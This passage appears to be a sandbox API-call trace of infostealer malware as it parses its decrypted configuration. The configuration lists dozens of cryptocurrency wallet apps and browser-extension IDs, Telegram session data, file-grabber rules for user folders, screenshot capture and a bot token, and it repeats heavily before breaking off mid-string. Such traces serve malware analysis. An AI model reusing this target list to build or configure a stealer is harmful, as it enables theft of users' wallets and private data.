Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.207] lstrlenW (lpString="jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4284 [0266.207] LocalAlloc (uFlags=0x40, uBytes=0x21f8) returned 0x6fc408 [0266.207] StrCpyW (in: psz1=0x6f4830, psz2="com.liberty.jaxx" | out: psz1="com.liberty.jaxx") returned="com.liberty.jaxx" [0266.207] LocalFree (hMem=0x6fc408) returned 0x0 [0266.207] StrStrW (lpFirst="*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.207] lstrlenW (lpString="jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension 